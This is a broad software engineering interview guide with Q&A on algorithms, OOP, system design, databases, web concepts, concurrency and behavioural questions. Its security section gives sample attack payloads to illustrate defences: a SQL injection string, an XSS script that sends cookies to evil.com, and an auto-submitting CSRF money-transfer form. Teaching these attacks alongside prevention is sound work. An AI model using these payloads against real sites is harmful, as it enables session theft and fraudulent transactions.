Software engineering interviews test multiple dimensions simultaneously: problem-solving speed, data structure knowledge, system design intuition, OOP principles, database literacy, and communication skills. This guide covers the 60 most common questions across every category with concise, accurate answers.
Interview format overview
| Round | Topics | Duration |
|---|---|---|
| Phone screen | Resume, background, 1–2 coding problems | 30–45 min |
| Technical coding | DSA, problem-solving, complexity analysis | 60–90 min |
| System design | Architecture, scalability, trade-offs | 45–60 min |
| Behavioral | STAR stories, teamwork, conflict | 30–45 min |
| Hiring manager | Culture fit, goals, project discussion | 30–45 min |
Data Structures & Algorithms
1. What is the time complexity of common operations on a hash map?
| Operation | Average case | Worst case |
|---|---|---|
| Get | O(1) | O(n) |
| Put | O(1) | O(n) |
| Delete | O(1) | O(n) |
| Contains | O(1) | O(n) |
Worst case O(n) occurs with hash collisions (all keys map to same bucket). Modern hash maps use load factor resizing and open addressing or chaining to keep average O(1).
2. What is the difference between a stack and a queue?
| Property | Stack | Queue |
|---|---|---|
| Order | LIFO (Last In, First Out) | FIFO (First In, First Out) |
| Insert | push (top) | enqueue (rear) |
| Remove | pop (top) | dequeue (front) |
| Use case | Call stack, undo, DFS | BFS, task scheduling, print queue |
# Stack
stack = []
stack.append(1) # push
stack.pop() # pop from top
# Queue
from collections import deque
q = deque()
q.append(1) # enqueue
q.popleft() # dequeue from front
3. Explain the difference between BFS and DFS.
Breadth-First Search (BFS):
- Explores neighbours level by level using a queue
- Finds shortest path in unweighted graphs
- Space: O(width) — can be large for wide graphs
Depth-First Search (DFS):
- Explores as far as possible along each branch using a stack (or recursion)
- Useful for cycle detection, topological sort, path finding
- Space: O(depth) — can be large for deep graphs
from collections import deque
def bfs(graph, start):
visited, queue = set(), deque([start])
while queue:
node = queue.popleft()
if node not in visited:
visited.add(node)
queue.extend(graph[node] - visited)
return visited
def dfs(graph, start, visited=None):
if visited is None:
visited = set()
visited.add(start)
for neighbor in graph[start] - visited:
dfs(graph, neighbor, visited)
return visited
4. What is a binary search tree (BST) and its time complexity?
A BST is a binary tree where every left child is smaller and every right child is larger than the parent.
| Operation | Average | Worst (unbalanced) |
|---|---|---|
| Search | O(log n) | O(n) |
| Insert | O(log n) | O(n) |
| Delete | O(log n) | O(n) |
Balanced BSTs (AVL, Red-Black Trees) guarantee O(log n) worst case.
5. How does binary search work and what is its complexity?
Binary search finds a target in a sorted array by repeatedly halving the search space.
def binary_search(arr, target):
left, right = 0, len(arr) - 1
while left <= right:
mid = (left + right) // 2
if arr[mid] == target:
return mid
elif arr[mid] < target:
left = mid + 1
else:
right = mid - 1
return -1
Time: O(log n) | Space: O(1)
6. What is dynamic programming?
Dynamic programming (DP) solves problems by breaking them into overlapping subproblems and storing results to avoid recomputation.
Two approaches:
- Top-down (memoization): Recursive + cache results
- Bottom-up (tabulation): Iterative, fill table from base cases up
Example — Fibonacci:
# Memoization (top-down)
def fib(n, memo={}):
if n in memo: return memo[n]
if n <= 1: return n
memo[n] = fib(n-1, memo) + fib(n-2, memo)
return memo[n]
# Tabulation (bottom-up)
def fib(n):
if n <= 1: return n
dp = [0] * (n + 1)
dp[1] = 1
for i in range(2, n + 1):
dp[i] = dp[i-1] + dp[i-2]
return dp[n]
7. What is the difference between sorting algorithms?
| Algorithm | Best | Average | Worst | Space | Stable |
|---|---|---|---|---|---|
| Bubble Sort | O(n) | O(n²) | O(n²) | O(1) | Yes |
| Selection Sort | O(n²) | O(n²) | O(n²) | O(1) | No |
| Insertion Sort | O(n) | O(n²) | O(n²) | O(1) | Yes |
| Merge Sort | O(n log n) | O(n log n) | O(n log n) | O(n) | Yes |
| Quick Sort | O(n log n) | O(n log n) | O(n²) | O(log n) | No |
| Heap Sort | O(n log n) | O(n log n) | O(n log n) | O(1) | No |
| Tim Sort | O(n) | O(n log n) | O(n log n) | O(n) | Yes |
Rule of thumb: Use merge sort for stability guarantee; quick sort for in-memory speed; heap sort for O(1) extra space.
8. What is recursion and when should you avoid it?
Recursion is a function calling itself with a smaller subproblem until a base case is reached.
def factorial(n):
if n == 0: return 1 # base case
return n * factorial(n - 1) # recursive case
Avoid recursion when:
- Stack depth could exceed system limit (Python default: 1000)
- Each recursive call doesn't reduce the problem significantly
- Iterative solution has same clarity (usually faster due to no call overhead)
Use tail recursion (some languages) or explicit stack to convert deep recursion to iteration.
9. What is a linked list and when is it better than an array?
A linked list is a sequence of nodes, each containing data and a pointer to the next node.
| Feature | Array | Linked List |
|---|---|---|
| Access by index | O(1) | O(n) |
| Insert/delete at head | O(n) | O(1) |
| Insert/delete at tail | O(1) amortised | O(n) singly / O(1) doubly |
| Memory | Contiguous | Non-contiguous |
| Cache performance | Better | Worse |
Use linked lists when you need frequent O(1) insertions/deletions at arbitrary positions.
10. What is Big O notation?
Big O describes the upper bound of an algorithm's time or space growth relative to input size n.
| Notation | Name | Example |
|---|---|---|
| O(1) | Constant | Hash map lookup |
| O(log n) | Logarithmic | Binary search |
| O(n) | Linear | Array scan |
| O(n log n) | Linearithmic | Merge sort |
| O(n²) | Quadratic | Nested loops |
| O(2ⁿ) | Exponential | Brute-force subsets |
| O(n!) | Factorial | Permutation brute-force |
Object-Oriented Programming
11. What are the four pillars of OOP?
| Pillar | Definition | Real example |
|---|---|---|
| Encapsulation | Bundling data + methods; hiding internals | private bank balance with deposit()/withdraw() methods |
| Abstraction | Exposing only essential interface | Driving a car without knowing engine internals |
| Inheritance | Child class inherits parent properties | Dog extends Animal |
| Polymorphism | Same interface, different behaviour | shape.area() works for Circle and Rectangle |
12. What is the difference between an interface and an abstract class?
| Feature | Interface | Abstract Class |
|---|---|---|
| Instantiation | Cannot | Cannot |
| Methods | Abstract by default (+ default in Java 8+) | Mix of abstract + concrete |
| State (fields) | Constants only | Instance fields allowed |
| Inheritance | Implement multiple | Extend one |
| Use case | Define contract | Share base implementation |
13. What is SOLID?
| Letter | Principle | Meaning |
|---|---|---|
| S | Single Responsibility | One class = one reason to change |
| O | Open/Closed | Open for extension, closed for modification |
| L | Liskov Substitution | Subtypes must be substitutable for their base type |
| I | Interface Segregation | Many specific interfaces > one general interface |
| D | Dependency Inversion | Depend on abstractions, not concretions |
14. What is the difference between composition and inheritance?
- Inheritance ("is-a"):
Dog is an Animal— shares state and behaviour via parent class - Composition ("has-a"):
Car has an Engine— delegates to contained objects
Prefer composition over inheritance (GoF principle). Inheritance creates tight coupling; composition allows runtime flexibility and easier testing via dependency injection.
15. What are design patterns and name a few?
Design patterns are reusable solutions to common software design problems.
| Category | Pattern | Use case |
|---|---|---|
| Creational | Singleton | One instance (DB connection pool) |
| Creational | Factory | Create objects without specifying class |
| Creational | Builder | Construct complex objects step-by-step |
| Structural | Adapter | Convert incompatible interfaces |
| Structural | Decorator | Add behaviour without modifying class |
| Structural | Proxy | Control access to another object |
| Behavioural | Observer | Event/pub-sub notification |
| Behavioural | Strategy | Swap algorithms at runtime |
| Behavioural | Command | Encapsulate actions for undo/redo |
System Design
16. How would you design a URL shortener like bit.ly?
Requirements:
- Shorten long URLs to 7-char codes
- Redirect short URL → original URL
- ~100M URLs, ~10B reads/day
Core components:
- API service — POST /shorten, GET /:code
- Encoding — Base62 of auto-increment ID or MD5 hash (first 7 chars)
- Database —
{code, original_url, created_at, expires_at}— simple KV works - Cache (Redis) — cache hot codes; 80% traffic hits 20% of URLs
- CDN — serve redirects from edge for global latency
Trade-off: Random hash (no collision guarantee) vs counter-based (sequential, predictable but needs distributed counter like Redis INCR or Snowflake ID).
17. What is a load balancer and what algorithms does it use?
A load balancer distributes incoming traffic across multiple servers.
| Algorithm | How it works | Best for |
|---|---|---|
| Round robin | Rotate through servers evenly | Homogeneous servers |
| Weighted round robin | More requests to higher-capacity servers | Mixed server sizes |
| Least connections | Route to server with fewest active connections | Long-lived connections |
| IP hash | Hash client IP → always same server | Session affinity |
| Random | Pick server randomly | Simple, stateless |
18. What is CAP theorem?
A distributed system can guarantee at most two of:
- Consistency — every read gets the most recent write
- Availability — every request gets a response
- Partition tolerance — system works despite network partitions
Since partitions are unavoidable, real systems choose CP (banking, ZooKeeper) or AP (DNS, shopping carts, DynamoDB).
19. What is the difference between SQL and NoSQL databases?
| Feature | SQL (Relational) | NoSQL |
|---|---|---|
| Schema | Fixed | Flexible |
| Scaling | Vertical (mostly) | Horizontal |
| Transactions | ACID | Eventual consistency (mostly) |
| Joins | Yes | Limited/none |
| Query language | SQL | Varies (JSON query, CQL, etc.) |
| Use case | Complex queries, strong consistency | High throughput, flexible schema |
| Examples | PostgreSQL, MySQL | MongoDB, Cassandra, DynamoDB |
20. What is caching and what strategies exist?
Caching stores frequently accessed data in fast storage (RAM) to reduce latency.
| Strategy | Description | When |
|---|---|---|
| Cache aside (lazy) | App checks cache; miss → load DB → cache | Read-heavy, tolerate stale |
| Write-through | Write to cache + DB simultaneously | Low write latency tolerance |
| Write-behind | Write to cache; async flush to DB | Write-heavy, eventual consistency ok |
| Read-through | Cache fetches from DB on miss automatically | Simplifies app code |
Eviction policies: LRU (Least Recently Used), LFU (Least Frequently Used), TTL-based.
21. How does HTTP/HTTPS work?
HTTP is a stateless request-response protocol over TCP.
Request lifecycle:
- DNS lookup → IP address
- TCP handshake (SYN → SYN-ACK → ACK)
- TLS handshake (for HTTPS) — certificates, key exchange, cipher negotiation
- HTTP request sent (GET/POST/PUT/DELETE + headers + body)
- Server processes, returns HTTP response (status code + headers + body)
- Connection closed or kept alive (HTTP/1.1 keep-alive, HTTP/2 multiplexing)
HTTPS adds: TLS encryption + server authentication via certificate (CA-signed).
22. What is REST and what are its constraints?
REST (Representational State Transfer) is an architectural style with 6 constraints:
- Client-Server — UI and data concerns separated
- Stateless — no session on server; all state in request
- Cacheable — responses declare cacheability
- Uniform Interface — consistent resource identification (URIs), self-descriptive messages
- Layered System — client cannot tell if it's connected to end server or intermediary
- Code on Demand (optional) — server can send executable code
| HTTP Method | Action | Idempotent |
|---|---|---|
| GET | Read | Yes |
| POST | Create | No |
| PUT | Replace | Yes |
| PATCH | Partial update | No |
| DELETE | Delete | Yes |
Databases
23. What is an index and when should you use one?
A database index is a data structure (B-tree or hash) that speeds up query lookup at the cost of extra storage and slower writes.
Add index when:
- Column appears in WHERE, JOIN ON, or ORDER BY frequently
- Column has high cardinality (many distinct values)
- Read operations outnumber writes significantly
Avoid index when:
- Table is small (full scan is faster)
- Column updated very frequently
- Low-cardinality columns (e.g., boolean — sex, active/inactive)
24. What is a database transaction? Explain ACID.
A transaction is a sequence of database operations that execute as a single unit.
| Property | Meaning |
|---|---|
| Atomicity | All operations succeed or none do (rollback) |
| Consistency | DB moves from one valid state to another |
| Isolation | Concurrent transactions don't interfere |
| Durability | Committed data survives crashes (WAL/redo log) |
25. What are database isolation levels?
| Level | Dirty Read | Non-repeatable Read | Phantom Read |
|---|---|---|---|
| Read Uncommitted | ✅ possible | ✅ possible | ✅ possible |
| Read Committed | ❌ | ✅ possible | ✅ possible |
| Repeatable Read | ❌ | ❌ | ✅ possible |
| Serializable | ❌ | ❌ | ❌ |
Higher isolation = more correctness, less concurrency. PostgreSQL default: Read Committed; MySQL InnoDB default: Repeatable Read.
26. What is database normalization?
Normalization organises a relational DB to reduce redundancy and improve integrity.
| Normal Form | Rule |
|---|---|
| 1NF | Atomic values, no repeating groups |
| 2NF | 1NF + no partial dependency on composite key |
| 3NF | 2NF + no transitive dependency (non-key → non-key) |
| BCNF | Every determinant is a candidate key |
Denormalization (intentional duplication) trades storage for query speed — common in analytics/OLAP.
27. What is the N+1 problem?
The N+1 problem occurs when code executes 1 query to fetch N records, then N additional queries to fetch related data for each record.
# BAD — N+1
users = User.all() # 1 query
for user in users:
print(user.orders) # N queries
# GOOD — eager loading
users = User.includes(:orders).all() # 2 queries (or JOIN)
Fix: eager loading (JOIN or IN clause), batch queries, or DataLoader pattern in GraphQL.
Web Development
28. What is the difference between cookies, localStorage, and sessionStorage?
| Feature | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| Capacity | ~4 KB | ~5–10 MB | ~5 MB |
| Expires | Set expiry date | Never (manual clear) | Tab close |
| Sent to server | Yes (every request) | No | No |
| Access | JS + server | JS only | JS only |
| Use case | Auth sessions, tracking | Persisted user prefs | Temporary tab state |
29. What is CORS and how does it work?
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that restricts web page scripts from making requests to a different origin.
Same origin = same protocol + domain + port.
Browser blocks cross-origin XHR/fetch by default. Server opts in by returning:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Preflight: For non-simple requests, browser sends an OPTIONS request first; server must respond with CORS headers before browser sends the actual request.
30. What is the difference between authentication and authorization?
| Concept | Question answered | Example |
|---|---|---|
| Authentication | Who are you? | Login with username + password |
| Authorization | What can you do? | Admin can delete users; viewer can only read |
Authentication happens first, authorization second. Common pattern: JWT for authentication (stateless token), RBAC or ACL for authorization.
31. What is a JWT?
JSON Web Token (JWT) is a compact, self-contained token for transmitting claims between parties.
Structure: header.payload.signature (Base64URL encoded)
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
| Part | Contains |
|---|---|
| Header | Algorithm + token type |
| Payload | Claims (sub, iat, exp, custom) |
| Signature | HMAC or RSA of header + payload |
Server verifies signature without DB lookup — stateless. Store in HttpOnly cookie (not localStorage) to prevent XSS.
32. How does OAuth 2.0 work?
OAuth 2.0 allows a user to grant a third-party application limited access to their account without sharing credentials.
Authorization Code Flow (most secure):
- App redirects user to Authorization Server with
response_type=code - User logs in and approves scopes
- Auth server redirects back with
?code=AUTH_CODE - App exchanges code for access token (server-to-server, client secret included)
- App uses access token to call Resource Server (API)
- Refresh token used to get new access token without re-login
Version Control & Engineering Practices
33. What is Git rebase vs merge?
| Operation | What it does | Commit history |
|---|---|---|
git merge |
Creates a merge commit joining two branches | Preserves full history |
git rebase |
Replays commits on top of another branch | Linear history |
Rule: Never rebase shared/public branches. Rebase local branches before pushing for clean history.
# Merge (creates merge commit)
git checkout main && git merge feature-branch
# Rebase (replay feature commits on top of main)
git checkout feature-branch && git rebase main
34. What is CI/CD?
| Term | Stands for | Goal |
|---|---|---|
| CI | Continuous Integration | Automatically build and test on every push |
| CD | Continuous Delivery | Automatically release to staging on every merge |
| CD | Continuous Deployment | Automatically deploy to production after tests pass |
Typical CI pipeline: push → lint → unit tests → build → integration tests → security scan → deploy to staging.
35. What is the difference between unit, integration, and end-to-end tests?
| Type | Tests | Speed | Scope |
|---|---|---|---|
| Unit | Single function/class in isolation | Fastest | Narrowest |
| Integration | Components working together (DB, API) | Medium | Module level |
| E2E | Full user journey via real UI | Slowest | Broadest |
Testing pyramid: Many unit tests → fewer integration tests → fewest E2E tests. Invert = "ice cream cone anti-pattern" (slow, brittle).
36. What is code review and what do you look for?
Code review is peer examination of code changes before merging.
Look for:
- Correctness — does it do what it claims?
- Edge cases — null, empty, overflow, concurrency
- Security — SQL injection, XSS, auth bypass, secrets in code
- Performance — N+1 queries, missing indexes, O(n²) in hot paths
- Readability — clear naming, appropriate abstraction level
- Test coverage — missing tests for new paths
- Design — SOLID violations, unnecessary complexity
Concurrency & Operating Systems
37. What is the difference between a process and a thread?
| Feature | Process | Thread |
|---|---|---|
| Memory | Separate address space | Shared address space |
| Communication | IPC (pipe, socket, shared mem) | Shared memory (with locks) |
| Creation overhead | Higher | Lower |
| Crash impact | Isolated | Can crash whole process |
| Context switch | Expensive | Cheaper |
38. What is a race condition?
A race condition occurs when the outcome of a program depends on the non-deterministic order of thread execution.
# Race condition — both threads read x=0, both write x=1
x = 0
def increment():
global x
x = x + 1 # read-modify-write is NOT atomic
# Fix with lock
import threading
lock = threading.Lock()
def increment():
global x
with lock:
x = x + 1
Fix: mutexes/locks, atomic operations, immutable data, message passing (actor model).
39. What is a deadlock and how do you prevent it?
Deadlock: two or more threads block forever, each waiting for a resource held by the other.
Four conditions (all must hold):
- Mutual exclusion
- Hold and wait
- No preemption
- Circular wait
Prevention: Always acquire locks in the same order; use timeout on lock acquisition; use lock-free data structures; detect and recover.
40. What is memory management? Explain garbage collection.
Memory management allocates and frees memory during program execution.
Garbage collection (GC) automatically reclaims memory no longer referenced:
| Algorithm | How | Pause | Use |
|---|---|---|---|
| Reference counting | Count refs; collect when 0 | None (incremental) | CPython, Swift ARC |
| Mark-and-sweep | Mark reachable, sweep rest | Stop-the-world | Java, Go |
| Generational GC | New objects collected more often | Short young-gen pauses | JVM, .NET, Python |
| Incremental/concurrent | GC runs in background | Minimal | Go, modern JVM |
Manual memory management (C, C++): malloc/free, new/delete — faster, error-prone (leaks, use-after-free).
Behavioral Questions
41. Tell me about a time you disagreed with a technical decision.
STAR structure:
- Situation: Context of the disagreement
- Task: Your role and what was at stake
- Action: How you raised your concern (data, alternatives proposed, listened to counterargument)
- Result: Outcome — whether decision changed or you aligned with team and why
Key: Show you can advocate with evidence, accept decisions gracefully, and move forward constructively.
42. Describe your most complex technical project.
Structure your answer as:
- Problem — what business/technical problem were you solving?
- Constraints — scale, timeline, team size, tech stack
- Your role — what specifically you owned
- Approach — design decisions and trade-offs you made
- Result — measurable outcome (latency reduced by X%, revenue impact, etc.)
- Lesson — what you'd do differently
43. How do you handle technical debt?
Strong answer includes:
- Identify and quantify debt (code quality tools, incident post-mortems, velocity impact)
- Prioritise by cost-to-fix vs cost-of-leaving (risk, slowdowns, onboarding friction)
- Allocate time proactively (20% of sprint capacity, dedicated refactor sprints)
- Prevent accumulation (code reviews, architectural decision records, definition of done includes tests)
- Communicate trade-offs to stakeholders in business terms
44. How do you approach learning a new technology?
Structured approach:
- Understand the problem it solves — why does it exist, what were the alternatives?
- Official docs + quickstart — build the minimal working example
- Read source/examples — understand how real projects use it
- Build something real — hands-on, make mistakes, debug
- Go deeper — internals, edge cases, production concerns
- Share — blog post, internal talk, PR review using the tech
45. Where do you see yourself in 5 years?
Interviewers want to see:
- Growth mindset — learning deeper skills or broader scope
- Alignment — your goals match what this role/company can offer
- Ambition without arrogance — specific, realistic aspirations
Example: "I want to become a strong senior engineer with deep expertise in distributed systems and eventually mentor junior engineers. I'm drawn to this company because the scale here will accelerate that trajectory."
Problem-Solving Questions
46. How do you debug a production issue?
Systematic approach:
- Triage — severity, blast radius, user impact (monitor dashboards, error rates, latency)
- Reproduce — can you reproduce locally/staging? Narrow the scope.
- Isolate — binary search through logs, recent deploys, feature flags
- Fix — minimal change, avoid side effects; hotfix path vs proper fix
- Verify — deploy, watch metrics confirm issue resolved
- Post-mortem — root cause, timeline, contributing factors, action items
Tools: distributed tracing (Jaeger, Zipkin), structured logs (ELK, Loki), APM (Datadog, New Relic).
47. How do you estimate a technical project?
Decompose → estimate bottom-up → add uncertainty buffer:
- Break work into tasks (1–3 days granularity)
- Estimate each task (use reference class: similar past work)
- Add buffer: ×1.5 for known unknowns, ×2 for exploratory work
- Identify critical path (longest dependency chain)
- Communicate confidence intervals, not point estimates ("2–4 weeks")
- Revisit as you learn more (Agile sprint re-estimation)
48. What happens when you type a URL in the browser?
- Browser cache check — is URL cached locally?
- DNS resolution — browser → OS cache → recursive resolver → authoritative NS → IP address
- TCP connection — SYN, SYN-ACK, ACK (3-way handshake)
- TLS handshake (HTTPS) — certificate verify, key exchange, cipher negotiation
- HTTP request — GET / with headers (Host, Accept, Cookie)
- Server processing — web server → app server → database → response
- HTTP response — 200 OK, HTML body
- Browser rendering — parse HTML → DOM tree, CSS → CSSOM, JavaScript → run, paint
49. How would you improve the performance of a slow web application?
| Layer | Techniques |
|---|---|
| Frontend | Lazy loading, code splitting, image optimisation (WebP, AVIF), CDN, HTTP/2, eliminate render-blocking JS |
| API | Response caching (Redis), pagination, compression (gzip/Brotli), connection pooling |
| Database | Index missing columns, query optimisation (EXPLAIN ANALYSE), read replicas, denormalise hot paths |
| Infrastructure | Auto-scaling, geographic distribution, reduce cross-region calls, async processing (queues) |
| Measurement | Profile before optimising (Chrome DevTools, k6, Lighthouse, pg_stat_statements) |
50. How do you ensure code quality in a team?
- Linting + formatters run in CI (ESLint, Prettier, Black, golangci-lint)
- Type checking (TypeScript, mypy, Go's type system)
- Code reviews — required before merge, constructive, review checklist
- Test coverage threshold — enforce minimum coverage in CI (e.g., 80%)
- SAST/security scans — detect vulnerabilities automatically (SonarQube, Semgrep)
- Architecture decision records (ADRs) — document why decisions were made
- Definition of done — tests written, review passed, docs updated
Security
51. What is SQL injection and how do you prevent it?
SQL injection attacks insert malicious SQL into a query parameter.
-- Vulnerable query (string concatenation)
SELECT * FROM users WHERE name = '$name';
-- Input: ' OR '1'='1 -- gives all users
-- Safe: parameterised query
SELECT * FROM users WHERE name = ? -- placeholder
Prevent: Always use parameterised queries / prepared statements. Never build SQL from user input strings. Use ORM (which uses parameterised under the hood). Principle of least privilege on DB user.
52. What is XSS and how do you prevent it?
Cross-Site Scripting (XSS) injects malicious scripts into web pages viewed by other users.
<!-- Stored XSS: attacker saves this comment -->
<script>fetch('https://evil.com?c='+document.cookie)</script>
Types: Stored (saved in DB), Reflected (in URL param), DOM-based (in JS).
Prevent:
- Output encode all user content (
<instead of<) - Content Security Policy (CSP) header
HttpOnlycookies (not accessible via JS)- Framework auto-escaping (React, Angular)
53. What is CSRF and how do you prevent it?
Cross-Site Request Forgery tricks an authenticated user's browser into making unwanted requests.
<!-- Attacker page: auto-submits form to bank -->
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
Prevent:
- CSRF tokens (random, per-session, validated server-side)
- SameSite cookie attribute (
StrictorLax) - Check
Origin/Refererheader - Require re-authentication for sensitive actions
54. What is the principle of least privilege?
Grant users, processes, and services only the minimum permissions needed to perform their function — nothing more.
Examples:
- DB user for read-only reports: SELECT only, no INSERT/DELETE
- Lambda function: only the S3 bucket it needs, not all S3
- Microservice: can read its own config secret, not other services' secrets
- OS process: drop root privileges after binding to port 80
Reduces blast radius of breaches, bugs, and mistakes.
Architecture
55. What is the difference between monolithic and microservices architecture?
| Feature | Monolith | Microservices |
|---|---|---|
| Deployment | Single deployable unit | Many independent services |
| Scaling | Scale whole app | Scale individual services |
| Dev velocity (small team) | Faster initially | Slower initially |
| Dev velocity (large team) | Slows down (coordination) | Scales well (team per service) |
| Failure isolation | One bug can crash all | Service-level isolation |
| Complexity | Simple operations | Complex (networking, observability, distributed tracing) |
| Use when | Early-stage, small team | Large org, independent scaling needed |
56. What is event-driven architecture?
EDA decouples producers and consumers through events (messages representing something that happened).
Components:
- Producer — emits events (e.g., OrderPlaced)
- Event broker — routes events (Kafka, RabbitMQ, SQS)
- Consumer — reacts to events (e.g., InventoryService, EmailService)
Benefits: Loose coupling, independent scaling, natural audit log, supports CQRS.
Trade-offs: Eventual consistency, harder debugging, need for dead letter queues and idempotency.
57. What is a message queue and when do you use one?
A message queue is a buffer between producer and consumer for async communication.
Use when:
- Producer rate >> consumer processing rate (decoupling)
- Tasks can be processed asynchronously (email, image resize, PDF generation)
- You need retry logic and dead letter queues for failures
- Fan-out: one event → multiple consumers
Popular: RabbitMQ (AMQP), Apache Kafka (log-based streaming), SQS (AWS managed), Redis Streams.
Common Mistakes Interviewees Make
| Mistake | Better approach |
|---|---|
| Jumping to code without clarifying requirements | Ask 2–3 clarifying questions first |
| Silent thinking | Think out loud; walk interviewer through reasoning |
| Giving up quickly | Explain thought process, try brute force first, then optimise |
| Optimising prematurely | Start with working solution; then discuss improvements |
| Not handling edge cases | Always ask: empty input, null, overflow, duplicates |
| Ignoring complexity | Always state time and space complexity after writing code |
| Memorising without understanding | Interviewers probe with follow-up questions |
| Not asking about trade-offs in design | Mention alternatives; say why you chose your approach |
Software Engineer levels
| Level | Years exp | Typical ownership | Scope |
|---|---|---|---|
| Junior / L3 | 0–2 | Assigned tasks with guidance | Feature components |
| Mid / L4 | 2–5 | Own features end-to-end | Feature & subsystem |
| Senior / L5 | 5–10 | Own systems, mentor juniors | System & team |
| Staff / L6 | 8+ | Cross-team technical direction | Org-wide |
| Principal / L7 | 10+ | Company-wide architecture | Company |
| Distinguished / L8+ | 15+ | Industry influence | Industry |
Frequently Asked Questions
Q: What language should I code in during a software engineering interview?
Most companies let you choose. Pick the language you know best — clarity matters more than the language. Python is the most common interview language due to concise syntax and built-in data structures.
Q: How long should a coding interview solution take?
Aim to have a working brute-force solution in the first 10–15 minutes, then spend remaining time optimising. Never spend 40 minutes on the "perfect" solution that you never finish.
Q: What is the difference between a software engineer and a software developer?
The terms are often used interchangeably in industry. "Software engineer" sometimes implies broader system design and CS fundamentals depth; "developer" can imply more implementation focus. For interview purposes, treat them as synonymous.
Q: How do I prepare for system design interviews?
Study: consistent hashing, load balancing, CDN, SQL vs NoSQL, caching strategies, rate limiting, message queues, CAP theorem, horizontal vs vertical scaling. Practice designing 3–5 real systems (URL shortener, Twitter feed, ride-sharing dispatch). Read "Designing Data-Intensive Applications" (Kleppmann).
Q: How important are LeetCode problems for software engineering interviews?
Depends on company tier. FAANG/big tech: LeetCode medium/hard are standard. Startups: often more practical (debugging, code review, take-home). Either way, understanding why solutions work matters more than memorising answers.
Q: What should I do if I don't know the answer?
Say "I'm not certain, but my understanding is..." and reason through it. Interviewers assess problem-solving under uncertainty. Saying "I don't know" and stopping is worse than showing structured thinking even without a complete answer.